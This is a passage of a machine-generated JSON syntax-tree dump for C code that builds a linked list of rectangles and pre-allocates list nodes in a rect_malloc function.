(*rect_ptr)->r.lry = rect[i].lry;\r\n\r\n (*rect_ptr)->next = NULL;\r\n rect_ptr = &(*rect_ptr)->next;\r\n }", "parent": 423, "children": [425], "start_point": {"row": 102, "column": 16}, "end_point": {"row": 115, "column": 17}}, {"id": 425, "type": "parenthesized_expression", "text": "(rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry)", "parent": 424, "children": [426], "start_point": {"row": 102, "column": 19}, "end_point": {"row": 102, "column": 77}}, {"id": 426, "type": "binary_expression", "text": "rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry", "parent": 425, "children": [427, 439, 440], "start_point": {"row": 102, "column": 20}, "end_point": {"row": 102, "column": 76}}, {"id": 427, "type": "binary_expression", "text": "rect[i].ulx <= rect[i].lrx", "parent": 426, "children": [428, 433, 434], "start_point": {"row": 102, "column": 20}, "end_point": {"row": 102, "column": 46}}, {"id": 428, "type": "field_expression", "text": "rect[i].ulx", "parent": 427, "children": [429, 432], "start_point": {"row": 102, "column": 20}, "end_point": {"row": 102, "column": 31}}, {"id": 429, "type": "subscript_expression", "text": "rect[i]", "parent": 428, "children": [430, 431], "start_point": {"row": 102, "column": 20}, "end_point": {"row": 102, "column": 27}}, {"id": 430, "type": "identifier", "text": "rect", "parent": 429, "children": [], "start_point": {"row": 102, "column": 20}, "end_point": {"row": 102, "column": 24}}, {"id": 431, "type": "identifier", "text": "i", "parent": 429, "children": [], "start_point": {"row": 102, "column": 25}, "end_point": {"row": 102, "column": 26}}, {"id": 432, "type": "field_identifier", "text": "ulx", "parent": 428, "children": [], "start_point": {"row": 102, "column": 28}, "end_point": {"row": 102, "column": 31}}, {"id": 433, "type": "<=", "text": "<=", "parent": 427, "children": [], "start_point": {"row": 102, "column": 32}, "end_point": {"row": 102, "column": 34}}, {"id": 434, "type": "field_expression", "text": "rect[i].lrx", "parent": 427, "children": [435, 438], "start_point": {"row": 102, "column": 35}, "end_point": {"row": 102, "column": 46}}, {"id": 435, "type": "subscript_expression", "text": "rect[i]", "parent": 434, "children": [436, 437], "start_point": {"row": 102, "column": 35}, "end_point": {"row": 102, "column": 42}}, {"id": 436, "type": "identifier", "text": "rect", "parent": 435, "children": [], "start_point": {"row": 102, "column": 35}, "end_point": {"row": 102, "column": 39}}, {"id": 437, "type": "identifier", "text": "i", "parent": 435, "children": [], "start_point": {"row": 102, "column": 40}, "end_point": {"row": 102, "column": 41}}, {"id": 438, "type": "field_identifier", "text": "lrx", "parent": 434, "children": [], "start_point": {"row": 102, "column": 43}, "end_point": {"row": 102, "column": 46}}, {"id": 439, "type": "&&", "text": "&&", "parent": 426, "children": [], "start_point": {"row": 102, "column": 47}, "end_point": {"row": 102, "column": 49}}, {"id": 440, "type": "binary_expression", "text": "rect[i].uly <= rect[i].lry", "parent": 426, "children": [441, 446, 447], "start_point": {"row": 102, "column": 50}, "end_point": {"row": 102, "column": 76}}, {"id": 441, "type": "field_expression", "text": "rect[i].uly", "parent": 440, "children": [442, 445], "start_point": {"row": 102, "column": 50}, "end_point": {"row": 102, "column": 61}}, {"id": 442, "type": "subscript_expression", "text": "rect[i]", "parent": 441, "children": [443, 444], "start_point": {"row": 102, "column": 50}, "end_point": {"row": 102, "column": 57}}, {"id": 443, "type": "identifier", "text": "rect", "parent": 442, "children": [], "start_point": {"row": 102, "column": 50}, "end_point": {"row": 102, "column": 54}}, {"id": 444, "type": "identifier", "text": "i", "parent": 442, "children": [], "start_point": {"row": 102, "column": 55}, "end_point": {"row": 102, "column": 56}}, {"id": 445, "type": "field_identifier", "text": "uly", "parent": 441, "children": [], "start_point": {"row": 102, "column": 58}, "end_point": {"row": 102, "column": 61}}, {"id": 446, "type": "<=", "text": "<=", "parent": 440, "children": [], "start_point": {"row": 102, "column": 62}, "end_point": {"row": 102, "column": 64}}, {"id": 447, "type": "field_expression", "text": "rect[i].lry", "parent": 440, "children": [448, 451], "start_point": {"row": 102, "column": 65}, "end_point": {"row": 102, "column": 76}}, {"id": 448, "type": "subscript_expression", "text": "rect[i]", "parent": 447, "children": [449, 450], "start_point": {"row": 102, "column": 65}, "end_point": {"row": 102, "column": 72}}, {"id": 449, "type": "identifier", "text": "rect", "parent": 448, "children": [], "start_point": {"row": 102, "column": 65}, "end_point": {"row": 102, "column": 69}}, {"id": 450, "type": "identifier", "text": "i", "parent": 448, "children": [], "start_point": {"row": 102, "column": 70}, "end_point": {"row": 102, "column": 71}}, {"id": 451, "type": "field_identifier", "text": "lry", "parent": 447, "children": [], "start_point": {"row": 102, "column": 73}, "end_point": {"row": 102, "column": 76}}, {"id": 452, "type": "assignment_expression", "text": "*rect_ptr = rect_malloc()", "parent": 424, "children": [453, 456, 457], "start_point": {"row": 103, "column": 20}, "end_point": {"row": 103, "column": 45}}, {"id": 453, "type": "pointer_expression", "text": "*rect_ptr", "parent": 452, "children": [454, 455], "start_point": {"row": 103, "column": 20}, "end_point": {"row": 103, "column": 29}}, {"id": 454, "type": "*", "text": "*", "parent": 453, "children": [], "start_point": {"row": 103, "column": 20}, "end_point": {"row": 103, "column": 21}}, {"id": 455, "type": "identifier", "text": "rect_ptr", "parent": 453, "children": [], "start_point": {"row": 103, "column": 21}, "end_point": {"row": 103, "column": 29}}, {"id": 456, "type": "=", "text": "=", "parent": 452, "children": [], "start_point": {"row": 103, "column": 30}, "end_point": {"row": 103, "column": 31}}, {"id": 457, "type": "call_expression", "text": "rect_malloc()", "parent": 452, "children": [458, 459], "start_point": {"row": 103, "column": 32}, "end_point": {"row": 103, "column": 45}}, {"id": 458, "type": "identifier", "text": "rect_malloc", "parent": 457, "children": [], "start_point": {"row": 103, "column": 32}, "end_point": {"row": 103, "column": 43}}, {"id": 459, "type": "argument_list", "text": "()", "parent": 457, "children": [], "start_point": {"row": 103, "column": 43}, "end_point": {"row": 103, "column": 45}}, {"id": 460, "type": "if_statement", "text": "if (*rect_ptr == NULL) {\r\n return NULL;\r\n }", "parent": 424, "children": [461], "start_point": {"row": 104, "column": 20}, "end_point": {"row": 106, "column": 21}}, {"id": 461, "type": "parenthesized_expression", "text": "(*rect_ptr == NULL)", "parent": 460, "children": [462], "start_point": {"row": 104, "column": 23}, "end_point": {"row": 104, "column": 42}}, {"id": 462, "type": "binary_expression", "text": "*rect_ptr == NULL", "parent": 461, "children": [463, 466, 467], "start_point": {"row": 104, "column": 24}, "end_point": {"row": 104, "column": 41}}, {"id": 463, "type": "pointer_expression", "text": "*rect_ptr", "parent": 462, "children": [464, 465], "start_point": {"row": 104, "column": 24}, "end_point": {"row": 104, "column": 33}}, {"id": 464, "type": "*", "text": "*", "parent": 463, "children": [], "start_point": {"row": 104, "column": 24}, "end_point": {"row": 104, "column": 25}}, {"id": 465, "type": "identifier", "text": "rect_ptr", "parent": 463, "children": [], "start_point": {"row": 104, "column": 25}, "end_point": {"row": 104, "column": 33}}, {"id": 466, "type": "==", "text": "==", "parent": 462, "children": [], "start_point": {"row": 104, "column": 34}, "end_point": {"row": 104, "column": 36}}, {"id": 467, "type": "null", "text": "NULL", "parent": 462, "children": [468], "start_point": {"row": 104, "column": 37}, "end_point": {"row": 104, "column": 41}}, {"id": 468, "type": "NULL", "text": "NULL", "parent": 467, "children": [], "start_point": {"row": 104, "column": 37}, "end_point": {"row": 104, "column": 41}}, {"id": 469, "type": "return_statement", "text": "return NULL;", "parent": 460, "children": [470], "start_point": {"row": 105, "column": 24}, "end_point": {"row": 105, "column": 36}}, {"id": 470, "type": "null", "text": "NULL", "parent": 469, "children": [471], "start_point": {"row": 105, "column": 31}, "end_point": {"row": 105, "column": 35}}, {"id": 471, "type": "NULL", "text": "NULL", "parent": 470, "children": [], "start_point": {"row": 105, "column": 31}, "end_point": {"row": 105, "column": 35}}, {"id": 472, "type": "assignment_expression", "text": "(*rect_ptr)->r.ulx = rect[i].ulx", "parent": 424, "children": [473, 481, 482], "start_point": {"row": 108, "column": 20}, "end_point": {"row": 108, "column": 52}}, {"id": 473, "type": "field_expression", "text": "(*rect_ptr)->r.ulx", "parent": 472, "children": [474, 480], "start_point": {"row": 108, "column": 20}, "end_point": {"row": 108, "column": 38}}, {"id": 474, "type": "field_expression", "text": "(*rect_ptr)->r", "parent": 473, "children": [475, 479], "start_point": {"row": 108, "column": 20}, "end_point": {"row": 108, "column": 34}}, {"id": 475, "type": "parenthesized_expression", "text": "(*rect_ptr)", "parent": 474, "children": [476], "start_point": {"row": 108, "column": 20}, "end_point": {"row": 108, "column": 31}}, {"id": 476, "type": "pointer_expression", "text": "*rect_ptr", "parent": 475, "children": [477, 478], "start_point": {"row": 108, "column": 21}, "end_point": {"row": 108, "column": 30}}, {"id": 477, "type": "*", "text": "*", "parent": 476, "children": [], "start_point": {"row": 108, "column": 21}, "end_point": {"row": 108, "column": 22}}, {"id": 478, "type": "identifier", "text": "rect_ptr", "parent": 476, "children": [], "start_point": {"row": 108, "column": 22}, "end_point": {"row": 108, "column": 30}}, {"id": 479, "type": "field_identifier", "text": "r", "parent": 474, "children": [], "start_point": {"row": 108, "column": 33}, "end_point": {"row": 108, "column": 34}}, {"id": 480, "type": "field_identifier", "text": "ulx", "parent": 473, "children": [], "start_point": {"row": 108, "column": 35}, "end_point": {"row": 108, "column": 38}}, {"id": 481, "type": "=", "text": "=", "parent": 472, "children": [], "start_point": {"row": 108, "column": 39}, "end_point": {"row": 108, "column": 40}}, {"id": 482, "type": "field_expression", "text": "rect[i].ulx", "parent": 472, "children": [483, 486], "start_point": {"row": 108, "column": 41}, "end_point": {"row": 108, "column": 52}}, {"id": 483, "type": "subscript_expression", "text": "rect[i]", "parent": 482, "children": [484, 485], "start_point": {"row": 108, "column": 41}, "end_point": {"row": 108, "column": 48}}, {"id": 484, "type": "identifier", "text": "rect", "parent": 483, "children": [], "start_point": {"row": 108, "column": 41}, "end_point": {"row": 108, "column": 45}}, {"id": 485, "type": "identifier", "text": "i", "parent": 483, "children": [], "start_point": {"row": 108, "column": 46}, "end_point": {"row": 108, "column": 47}}, {"id": 486, "type": "field_identifier", "text": "ulx", "parent": 482, "children": [], "start_point": {"row": 108, "column": 49}, "end_point": {"row": 108, "column": 52}}, {"id": 487, "type": "assignment_expression", "text": "(*rect_ptr)->r.uly = rect[i].uly", "parent": 424, "children": [488, 496, 497], "start_point": {"row": 109, "column": 20}, "end_point": {"row": 109, "column": 52}}, {"id": 488, "type": "field_expression", "text": "(*rect_ptr)->r.uly", "parent": 487, "children": [489, 495], "start_point": {"row": 109, "column": 20}, "end_point": {"row": 109, "column": 38}}, {"id": 489, "type": "field_expression", "text": "(*rect_ptr)->r", "parent": 488, "children": [490, 494], "start_point": {"row": 109, "column": 20}, "end_point": {"row": 109, "column": 34}}, {"id": 490, "type": "parenthesized_expression", "text": "(*rect_ptr)", "parent": 489, "children": [491], "start_point": {"row": 109, "column": 20}, "end_point": {"row": 109, "column": 31}}, {"id": 491, "type": "pointer_expression", "text": "*rect_ptr", "parent": 490, "children": [492, 493], "start_point": {"row": 109, "column": 21}, "end_point": {"row": 109, "column": 30}}, {"id": 492, "type": "*", "text": "*", "parent": 491, "children": [], "start_point": {"row": 109, "column": 21}, "end_point": {"row": 109, "column": 22}}, {"id": 493, "type": "identifier", "text": "rect_ptr", "parent": 491, "children": [], "start_point": {"row": 109, "column": 22}, "end_point": {"row": 109, "column": 30}}, {"id": 494, "type": "field_identifier", "text": "r", "parent": 489, "children": [], "start_point": {"row": 109, "column": 33}, "end_point": {"row": 109, "column": 34}}, {"id": 495, "type": "field_identifier", "text": "uly", "parent": 488, "children": [], "start_point": {"row": 109, "column": 35}, "end_point": {"row": 109, "column": 38}}, {"id": 496, "type": "=", "text": "=", "parent": 487, "children": [], "start_point": {"row": 109, "column": 39}, "end_point": {"row": 109, "column": 40}}, {"id": 497, "type": "field_expression", "text": "rect[i].uly", "parent": 487, "children": [498, 501], "start_point": {"row": 109, "column": 41}, "end_point": {"row": 109, "column": 52}}, {"id": 498, "type": "subscript_expression", "text": "rect[i]", "parent": 497, "children": [499, 500], "start_point": {"row": 109, "column": 41}, "end_point": {"row": 109, "column": 48}}, {"id": 499, "type": "identifier", "text": "rect", "parent": 498, "children": [], "start_point": {"row": 109, "column": 41}, "end_point": {"row": 109, "column": 45}}, {"id": 500, "type": "identifier", "text": "i", "parent": 498, "children": [], "start_point": {"row": 109, "column": 46}, "end_point": {"row": 109, "column": 47}}, {"id": 501, "type": "field_identifier", "text": "uly", "parent": 497, "children": [], "start_point": {"row": 109, "column": 49}, "end_point": {"row": 109, "column": 52}}, {"id": 502, "type": "assignment_expression", "text": "(*rect_ptr)->r.lrx = rect[i].lrx", "parent": 424, "children": [503, 511, 512], "start_point": {"row": 110, "column": 20}, "end_point": {"row": 110, "column": 52}}, {"id": 503, "type": "field_expression", "text": "(*rect_ptr)->r.lrx", "parent": 502, "children": [504, 510], "start_point": {"row": 110, "column": 20}, "end_point": {"row": 110, "column": 38}}, {"id": 504, "type": "field_expression", "text": "(*rect_ptr)->r", "parent": 503, "children": [505, 509], "start_point": {"row": 110, "column": 20}, "end_point": {"row": 110, "column": 34}}, {"id": 505, "type": "parenthesized_expression", "text": "(*rect_ptr)", "parent": 504, "children": [506], "start_point": {"row": 110, "column": 20}, "end_point": {"row": 110, "column": 31}}, {"id": 506, "type": "pointer_expression", "text": "*rect_ptr", "parent": 505, "children": [507, 508], "start_point": {"row": 110, "column": 21}, "end_point": {"row": 110, "column": 30}}, {"id": 507, "type": "*", "text": "*", "parent": 506, "children": [], "start_point": {"row": 110, "column": 21}, "end_point": {"row": 110, "column": 22}}, {"id": 508, "type": "identifier", "text": "rect_ptr", "parent": 506, "children": [], "start_point": {"row": 110, "column": 22}, "end_point": {"row": 110, "column": 30}}, {"id": 509, "type": "field_identifier", "text": "r", "parent": 504, "children": [], "start_point": {"row": 110, "column": 33}, "end_point": {"row": 110, "column": 34}}, {"id": 510, "type": "field_identifier", "text": "lrx", "parent": 503, "children": [], "start_point": {"row": 110, "column": 35}, "end_point": {"row": 110, "column": 38}}, {"id": 511, "type": "=", "text": "=", "parent": 502, "children": [], "start_point": {"row": 110, "column": 39}, "end_point": {"row": 110, "column": 40}}, {"id": 512, "type": "field_expression", "text": "rect[i].lrx", "parent": 502, "children": [513, 516], "start_point": {"row": 110, "column": 41}, "end_point": {"row": 110, "column": 52}}, {"id": 513, "type": "subscript_expression", "text": "rect[i]", "parent": 512, "children": [514, 515], "start_point": {"row": 110, "column": 41}, "end_point": {"row": 110, "column": 48}}, {"id": 514, "type": "identifier", "text": "rect", "parent": 513, "children": [], "start_point": {"row": 110, "column": 41}, "end_point": {"row": 110, "column": 45}}, {"id": 515, "type": "identifier", "text": "i", "parent": 513, "children": [], "start_point": {"row": 110, "column": 46}, "end_point": {"row": 110, "column": 47}}, {"id": 516, "type": "field_identifier", "text": "lrx", "parent": 512, "children": [], "start_point": {"row": 110, "column": 49}, "end_point": {"row": 110, "column": 52}}, {"id": 517, "type": "assignment_expression", "text": "(*rect_ptr)->r.lry = rect[i].lry", "parent": 424, "children": [518, 526, 527], "start_point": {"row": 111, "column": 20}, "end_point": {"row": 111, "column": 52}}, {"id": 518, "type": "field_expression", "text": "(*rect_ptr)->r.lry", "parent": 517, "children": [519, 525], "start_point": {"row": 111, "column": 20}, "end_point": {"row": 111, "column": 38}}, {"id": 519, "type": "field_expression", "text": "(*rect_ptr)->r", "parent": 518, "children": [520, 524], "start_point": {"row": 111, "column": 20}, "end_point": {"row": 111, "column": 34}}, {"id": 520, "type": "parenthesized_expression", "text": "(*rect_ptr)", "parent": 519, "children": [521], "start_point": {"row": 111, "column": 20}, "end_point": {"row": 111, "column": 31}}, {"id": 521, "type": "pointer_expression", "text": "*rect_ptr", "parent": 520, "children": [522, 523], "start_point": {"row": 111, "column": 21}, "end_point": {"row": 111, "column": 30}}, {"id": 522, "type": "*", "text": "*", "parent": 521, "children": [], "start_point": {"row": 111, "column": 21}, "end_point": {"row": 111, "column": 22}}, {"id": 523, "type": "identifier", "text": "rect_ptr", "parent": 521, "children": [], "start_point": {"row": 111, "column": 22}, "end_point": {"row": 111, "column": 30}}, {"id": 524, "type": "field_identifier", "text": "r", "parent": 519, "children": [], "start_point": {"row": 111, "column": 33}, "end_point": {"row": 111, "column": 34}}, {"id": 525, "type": "field_identifier", "text": "lry", "parent": 518, "children": [], "start_point": {"row": 111, "column": 35}, "end_point": {"row": 111, "column": 38}}, {"id": 526, "type": "=", "text": "=", "parent": 517, "children": [], "start_point": {"row": 111, "column": 39}, "end_point": {"row": 111, "column": 40}}, {"id": 527, "type": "field_expression", "text": "rect[i].lry", "parent": 517, "children": [528, 531], "start_point": {"row": 111, "column": 41}, "end_point": {"row": 111, "column": 52}}, {"id": 528, "type": "subscript_expression", "text": "rect[i]", "parent": 527, "children": [529, 530], "start_point": {"row": 111, "column": 41}, "end_point": {"row": 111, "column": 48}}, {"id": 529, "type": "identifier", "text": "rect", "parent": 528, "children": [], "start_point": {"row": 111, "column": 41}, "end_point": {"row": 111, "column": 45}}, {"id": 530, "type": "identifier", "text": "i", "parent": 528, "children": [], "start_point": {"row": 111, "column": 46}, "end_point": {"row": 111, "column": 47}}, {"id": 531, "type": "field_identifier", "text": "lry", "parent": 527, "children": [], "start_point": {"row": 111, "column": 49}, "end_point": {"row": 111, "column": 52}}, {"id": 532, "type": "assignment_expression", "text": "(*rect_ptr)->next = NULL", "parent": 424, "children": [533, 539, 540], "start_point": {"row": 113, "column": 20}, "end_point": {"row": 113, "column": 44}}, {"id": 533, "type": "field_expression", "text": "(*rect_ptr)->next", "parent": 532, "children": [534, 538], "start_point": {"row": 113, "column": 20}, "end_point": {"row": 113, "column": 37}}, {"id": 534, "type": "parenthesized_expression", "text": "(*rect_ptr)", "parent": 533, "children": [535], "start_point": {"row": 113, "column": 20}, "end_point": {"row": 113, "column": 31}}, {"id": 535, "type": "pointer_expression", "text": "*rect_ptr", "parent": 534, "children": [536, 537], "start_point": {"row": 113, "column": 21}, "end_point": {"row": 113, "column": 30}}, {"id": 536, "type": "*", "text": "*", "parent": 535, "children": [], "start_point": {"row": 113, "column": 21}, "end_point": {"row": 113, "column": 22}}, {"id": 537, "type": "identifier", "text": "rect_ptr", "parent": 535, "children": [], "start_point": {"row": 113, "column": 22}, "end_point": {"row": 113, "column": 30}}, {"id": 538, "type": "field_identifier", "text": "next", "parent": 533, "children": [], "start_point": {"row": 113, "column": 33}, "end_point": {"row": 113, "column": 37}}, {"id": 539, "type": "=", "text": "=", "parent": 532, "children": [], "start_point": {"row": 113, "column": 38}, "end_point": {"row": 113, "column": 39}}, {"id": 540, "type": "null", "text": "NULL", "parent": 532, "children": [541], "start_point": {"row": 113, "column": 40}, "end_point": {"row": 113, "column": 44}}, {"id": 541, "type": "NULL", "text": "NULL", "parent": 540, "children": [], "start_point": {"row": 113, "column": 40}, "end_point": {"row": 113, "column": 44}}, {"id": 542, "type": "assignment_expression", "text": "rect_ptr = &(*rect_ptr)->next", "parent": 424, "children": [543, 544, 545], "start_point": {"row": 114, "column": 20}, "end_point": {"row": 114, "column": 49}}, {"id": 543, "type": "identifier", "text": "rect_ptr", "parent": 542, "children": [], "start_point": {"row": 114, "column": 20}, "end_point": {"row": 114, "column": 28}}, {"id": 544, "type": "=", "text": "=", "parent": 542, "children": [], "start_point": {"row": 114, "column": 29}, "end_point": {"row": 114, "column": 30}}, {"id": 545, "type": "pointer_expression", "text": "&(*rect_ptr)->next", "parent": 542, "children": [546], "start_point": {"row": 114, "column": 31}, "end_point": {"row": 114, "column": 49}}, {"id": 546, "type": "field_expression", "text": "(*rect_ptr)->next", "parent": 545, "children": [547, 551], "start_point": {"row": 114, "column": 32}, "end_point": {"row": 114, "column": 49}}, {"id": 547, "type": "parenthesized_expression", "text": "(*rect_ptr)", "parent": 546, "children": [548], "start_point": {"row": 114, "column": 32}, "end_point": {"row": 114, "column": 43}}, {"id": 548, "type": "pointer_expression", "text": "*rect_ptr", "parent": 547, "children": [549, 550], "start_point": {"row": 114, "column": 33}, "end_point": {"row": 114, "column": 42}}, {"id": 549, "type": "*", "text": "*", "parent": 548, "children": [], "start_point": {"row": 114, "column": 33}, "end_point": {"row": 114, "column": 34}}, {"id": 550, "type": "identifier", "text": "rect_ptr", "parent": 548, "children": [], "start_point": {"row": 114, "column": 34}, "end_point": {"row": 114, "column": 42}}, {"id": 551, "type": "field_identifier", "text": "next", "parent": 546, "children": [], "start_point": {"row": 114, "column": 45}, "end_point": {"row": 114, "column": 49}}, {"id": 552, "type": "update_expression", "text": "++i", "parent": 423, "children": [553, 554], "start_point": {"row": 116, "column": 16}, "end_point": {"row": 116, "column": 19}}, {"id": 553, "type": "++", "text": "++", "parent": 552, "children": [], "start_point": {"row": 116, "column": 16}, "end_point": {"row": 116, "column": 18}}, {"id": 554, "type": "identifier", "text": "i", "parent": 552, "children": [], "start_point": {"row": 116, "column": 18}, "end_point": {"row": 116, "column": 19}}, {"id": 555, "type": "parenthesized_expression", "text": "(i < 4)", "parent": 423, "children": [556], "start_point": {"row": 117, "column": 20}, "end_point": {"row": 117, "column": 27}}, {"id": 556, "type": "binary_expression", "text": "i < 4", "parent": 555, "children": [557, 558, 559], "start_point": {"row": 117, "column": 21}, "end_point": {"row": 117, "column": 26}}, {"id": 557, "type": "identifier", "text": "i", "parent": 556, "children": [], "start_point": {"row": 117, "column": 21}, "end_point": {"row": 117, "column": 22}}, {"id": 558, "type": "<", "text": "<", "parent": 556, "children": [], "start_point": {"row": 117, "column": 23}, "end_point": {"row": 117, "column": 24}}, {"id": 559, "type": "number_literal", "text": "4", "parent": 556, "children": [], "start_point": {"row": 117, "column": 25}, "end_point": {"row": 117, "column": 26}}, {"id": 560, "type": "return_statement", "text": "return ptr;", "parent": 170, "children": [561], "start_point": {"row": 121, "column": 4}, "end_point": {"row": 121, "column": 15}}, {"id": 561, "type": "identifier", "text": "ptr", "parent": 560, "children": [], "start_point": {"row": 121, "column": 11}, "end_point": {"row": 121, "column": 14}}, {"id": 562, "type": "function_definition", "text": "RectPtr rect_malloc(void) {\r\n RectPtr ptr;\r\n\r\n if (!rlist) {\r\n int i = 0;\r\n\r\n do {\r\n ptr = (RectPtr)malloc(sizeof(struct rectdata));\r\n if (!ptr) {\r\n break;\r\n } else {\r\n RectPtr temp;\r\n\r\n temp = rlist;\r\n rlist = ptr;\r\n ptr->next = temp;\r\n i++;\r\n }\r\n } while (i < 10);\r\n }\r\n\r\n if (rlist) {\r\n ptr = rlist;\r\n rlist = rlist->next;\r\n } else {\r\n ptr = 0;\r\n }\r\n\r\n return ptr;\r\n}", "parent": null, "children": [563, 564], "start_point": {"row": 124, "column": 0}, "end_point": {"row": 153, "column": 1}}, {"id": 563, "type": "type_identifier", "text": "RectPtr", "parent": 562, "children": [], "start_point": {"row": 124, "column": 0}, "end_point": {"row": 124, "column": 7}}, {"id": 564, "type": "function_declarator", "text": "rect_malloc(void)", "parent": 562, "children": [565, 566], "start_point": {"row": 124, "column": 8}, "end_point": {"row": 124, "column": 25}}, {"id": 565, "type": "identifier", "text": "rect_malloc", "parent": 564, "children": [], "start_point": {"row": 124, "column": 8}, "end_point": {"row": 124, "column": 19}}, {"id": 566, "type": "parameter_list", "text": "(void)", "parent": 564, "children": [567], "start_point": {"row": 124, "column": 19}, "end_point": {"row": 124, "column": 25}}, {"id": 567, "type": "parameter_declaration", "text": "void", "parent": 566, "children": [568], "start_point": {"row": 124, "column": 20}, "end_point": {"row": 124, "column": 24}}, {"id": 568, "type": "primitive_type", "text": "void", "parent": 567, "children": [], "start_point": {"row": 124, "column": 20}, "end_point": {"row": 124, "column": 24}}, {"id": 569, "type": "declaration", "text": "RectPtr ptr;", "parent": 562, "children": [570, 571], "start_point": {"row": 125, "column": 4}, "end_point": {"row": 125, "column": 16}}, {"id": 570, "type": "type_identifier", "text": "RectPtr", "parent": 569, "children": [], "start_point": {"row": 125, "column": 4}, "end_point": {"row": 125, "column": 11}}, {"id": 571, "type": "identifier", "text": "ptr", "parent": 569, "children": [], "start_point": {"row": 125, "column": 12}, "end_point": {"row": 125, "column": 15}}, {"id": 572, "type": "if_statement", "text": "if (!rlist) {\r\n int i = 0;\r\n\r\n do {\r\n ptr = (RectPtr)malloc(sizeof(struct rectdata));\r\n if (!ptr) {\r\n break;\r\n } else {\r\n RectPtr temp;\r\n\r\n temp = rlist;\r\n rlist = ptr;\r\n ptr->next = temp;\r\n i++;\r\n }\r\n } while (i < 10);\r\n }", "parent": 562, "children": [573], "start_point": {"row": 127, "column": 4}, "end_point": {"row": 143, "column": 5}}, {"id": 573, "type": "parenthesized_expression", "text": "(!rlist)", "parent": 572, "children": [574], "start_point": {"row": 127, "column": 7}, "end_point": {"row": 127, "column": 15}}, {"id": 574, "type": "unary_expression", "text": "!rlist", "parent": 573, "children": [575, 576], "start_point": {"row": 127, "column": 8}, "end_point": {"row": 127, "column": 14}}, {"id": 575, "type": "!", "text": "!", "parent": 574, "children": [], "start_point": {"row": 127, "column": 8}, "end_point": {"row": 127, "column": 9}}, {"id": 576, "type": "identifier", "text": "rlist", "parent": 574, "children": [], "start_point": {"row": 127, "column": 9}, "end_point": {"row": 127, "column": 14}}, {"id": 577, "type": "declaration", "text": "int i = 0;", "parent": 572, "children": [578, 579], "start_point": {"row": 128, "column": 8}, "end_point": {"row": 128, "column": 18}}, {"id": 578, "type": "primitive_type", "text": "int", "parent": 577, "children": [], "start_point": {"row": 128, "column": 8}, "end_point": {"row": 128, "column": 11}}, {"id": 579, "type": "init_declarator", "text": "i = 0", "parent": 577, "children": [580, 581, 582], "start_point": {"row": 128, "column": 12}, "end_point": {"row": 128, "column": 17}}, {"id": 580, "type": "identifier", "text": "i", "parent": 579, "children": [], "start_point": {"row": 128, "column": 12}, "end_point": {"row": 128, "column": 13}}, {"id": 581, "type": "=", "text": "=", "parent": 579, "children": [], "start_point": {"row": 128, "column": 14}, "end_point": {"row": 128, "column": 15}}, {"id": 582, "type": "number_literal", "text": "0", "parent": 579, "children": [], "start_point": {"row": 128, "column": 16}, "end_point": {"row": 128, "column": 17}}, {"id": 583, "type": "do_statement", "text": "do {\r\n ptr = (RectPtr)malloc(sizeof(struct rectdata));\r\n if (!ptr) {\r\n break;\r\n } else {\r\n RectPtr temp;\r\n\r\n temp = rlist;\r\n rlist = ptr;\r\n ptr->next = temp;\r\n i++;\r\n }\r\n } while (i < 10);", "parent": 572, "children": [626], "start_point": {"row": 130, "column": 8}, "end_point": {"row": 142, "column": 25}}, {"id": 584, "type": "assignment_expression", "text": "ptr = (RectPtr)malloc(sizeof(struct rectdata))", "parent": 583, "children": [585, 586, 587], "start_point": {"row": 131, "column": 12}, "end_point": {"row": 131, "column": 58}}, {"id": 585, "type": "identifier", "text": "ptr", "parent": 584, "children": [], "start_point": {"row": 131, "column": 12}, "end_point": {"row": 131, "column": 15}}, {"id": 586, "type": "=", "text": "=", "parent": 584, "children": [], "start_point": {"row": 131, "column": 16}, "end_point": {"row": 131, "column": 17}}, {"id": 587, "type": "cast_expression", "text": "(RectPtr)malloc(sizeof(struct rectdata))", "parent": 584, "children": [588, 590], "start_point": {"row": 131, "column": 18}, "end_point": {"row": 131, "column": 58}}, {"id": 588, "type": "type_descriptor", "text": "RectPtr", "parent": 587, "children": [589], "start_point": {"row": 131, "column": 19}, "end_point": {"row": 131, "column": 26}}, {"id": 589, "type": "type_identifier", "text": "RectPtr", "parent": 588, "children": [], "start_point": {"row": 131, "column": 19}, "end_point": {"row": 131, "column": 26}}, {"id": 590, "type": "call_expression", "text": "malloc(sizeof(struct rectdata))", "parent": 587, "children": [591, 592], "start_point": {"row": 131, "column": 27}, "end_point": {"row": 131, "column": 58}}, {"id": 591, "type": "identifier", "text": "malloc", "parent": 590, "children": [], "start_point": {"row": 131, "column": 27}, "end_point": {"row": 131, "column": 33}}, {"id": 592, "type": "argument_list", "text": "(sizeof(struct rectdata))", "parent": 590, "children": [593], "start_point": {"row": 131, "column": 33}, "end_point": {"row": 131, "column": 58}}, {"id": 593, "type": "sizeof_expression", "text": "sizeof(struct rectdata)", "parent": 592, "children": [594], "start_point": {"row": 131, "column": 34}, "end_point": {"row": 131, "column": 57}}, {"id": 594, "type": "type_descriptor", "text": "struct rectdata", "parent": 593, "children": [595], "start_point": {"row": 131, "column": 41}, "end_point": {"row": 131, "column": 56}}, {"id": 595, "type": "struct_specifier", "text": "struct rectdata", "parent": 594, "children": [596, 597], "start_point": {"row": 131, "column": 41}, "end_point": {"row": 131, "column": 56}}, {"id": 596, "type": "struct", "text": "struct", "parent": 595, "children": [], "start_point": {"row": 131, "column": 41}, "end_point": {"row": 131, "column": 47}}, {"id": 597, "type": "type_identifier", "text": "rectdata", "parent": 595, "children": [], "start_point": {"row": 131, "column": 48}, "end_point": {"row": 131, "column": 56}}, {"id": 598, "type": "if_statement", "text": "if (!ptr) {\r\n break;\r\n } else {\r\n RectPtr temp;\r\n\r\n temp = rlist;\r\n rlist = ptr;\r\n ptr->next = temp;\r\n i++;\r\n }", "parent": 583, "children": [599, 605], "start_point": {"row": 132, "column": 12}, "end_point": {"row": 141, "column": 13}}, {"id": 599, "type": "parenthesized_expression", "text": "(!ptr)", "parent": 598, "children": [600], "start_point": {"row": 132, "column": 15}, "end_point": {"row": 132, "column": 21}}, {"id": 600, "type": "unary_expression", "text": "!ptr", "parent": 599, "children": [601, 602], "start_point": {"row": 132, "column": 16}, "end_point": {"row": 132, "column": 20}}, {"id": 601, "type": "!", "text": "!", "parent": 600, "children": [], "start_point": {"row": 132, "column": 16}, "end_point": {"row": 132, "column": 17}}, {"id": 602, "type": "identifier", "text": "ptr", "parent": 600, "children": [], "start_point": {"row": 132, "column": 17}, "end_point": {"row": 132, "column": 20}}, {"id": 603, 